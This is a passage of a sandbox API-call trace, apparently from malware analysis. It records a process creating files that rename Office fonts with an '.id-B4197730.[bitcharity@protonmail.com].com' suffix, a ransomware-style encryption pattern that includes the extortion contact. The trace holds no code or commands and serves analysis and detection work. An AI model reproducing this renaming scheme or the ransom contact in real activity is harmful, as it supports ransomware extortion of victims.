lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.469] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ARLRDBD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\arlrdbd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.469] CloseHandle (hObject=0x1160) returned 1 [0280.470] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.470] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BASKVILL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\baskvill.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.471] CloseHandle (hObject=0x1160) returned 1 [0280.472] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.472] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BAUHS93.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bauhs93.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.472] CloseHandle (hObject=0x1160) returned 1 [0280.473] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.473] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BELL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bell.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.473] CloseHandle (hObject=0x1160) returned 1 [0280.474] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.474] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BELLB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bellb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.475] CloseHandle (hObject=0x1160) returned 1 [0280.476] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.476] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BELLI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\belli.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.476] CloseHandle (hObject=0x1160) returned 1 [0280.477] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.477] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BERNHC.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bernhc.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.477] CloseHandle (hObject=0x1160) returned 1 [0280.478] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.478] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BKANT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bkant.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.478] CloseHandle (hObject=0x1160) returned 1 [0280.479] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.479] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_B.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_b.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.479] CloseHandle (hObject=0x1160) returned 1 [0281.732] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.732] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_BI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_bi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.732] CloseHandle (hObject=0x11a8) returned 1 [0281.733] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.733] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GOTHIC.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gothic.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.733] CloseHandle (hObject=0x11a8) returned 1 [0281.798] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.798] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GOTHICB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gothicb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.798] CloseHandle (hObject=0x11c0) returned 1 [0281.799] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.799] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GOTHICBI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gothicbi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.799] CloseHandle (hObject=0x11c0) returned 1 [0281.800] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.800] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GOTHICI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gothici.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.800] CloseHandle (hObject=0x11c0) returned 1 [0281.801] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.801] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GOUDOS.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\goudos.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.801] CloseHandle (hObject=0x11c0) returned 1 [0281.802] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.802] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GOUDOSB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\goudosb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.803] CloseHandle (hObject=0x11c0) returned 1 [0281.804] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.804] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GOUDOSI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\goudosi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.804] CloseHandle (hObject=0x11c0) returned 1 [0281.806] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.806] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GOUDYSTO.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\goudysto.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.806] CloseHandle (hObject=0x11c0) returned 1 [0281.807] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.807] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\HARLOWSI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\harlowsi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.807] CloseHandle (hObject=0x11c0) returned 1 [0281.808] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.808] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\HARNGTON.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\harngton.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.809] CloseHandle (hObject=0x11c0) returned 1 [0281.809] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.809] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\HATTEN.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\hatten.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.810] CloseHandle (hObject=0x11c0) returned 1 [0281.810] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.810] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\HTOWERT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\htowert.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.811] CloseHandle (hObject=0x11c0) returned 1 [0281.812] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.812] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\HTOWERTI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\htowerti.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.813] CloseHandle (hObject=0x11c0) returned 1 [0281.813] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.813] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\IMPRISHA.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\imprisha.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.814] CloseHandle (hObject=0x11c0) returned 1 [0281.814] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.814] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\INFROMAN.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\infroman.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.815] CloseHandle (hObject=0x11c0) returned 1 [0281.815] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.816] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ITCBLKAD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\itcblkad.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.816] CloseHandle (hObject=0x11c0) returned 1 [0281.817] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.817] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ITCEDSCR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\itcedscr.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.818] CloseHandle (hObject=0x11c0) returned 1 [0281.818] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.818] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ITCKRIST.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\itckrist.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.819] CloseHandle (hObject=0x11c0) returned 1 [0281.820] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.820] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\JOKERMAN.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\jokerman.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.820] CloseHandle (hObject=0x11c0) returned 1 [0281.821] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.821] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\JUICE___.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\juice___.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.821] CloseHandle (hObject=0x11c0) returned 1 [0281.823] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.823] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\KUNSTLER.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\kunstler.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.823] CloseHandle (hObject=0x11c0) returned 1 [0281.824] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.824] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LATINWD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\latinwd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.824] CloseHandle (hObject=0x11c0) returned 1 [0281.825] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.825] SetFilePointerEx (in: hFile=0x11c0, 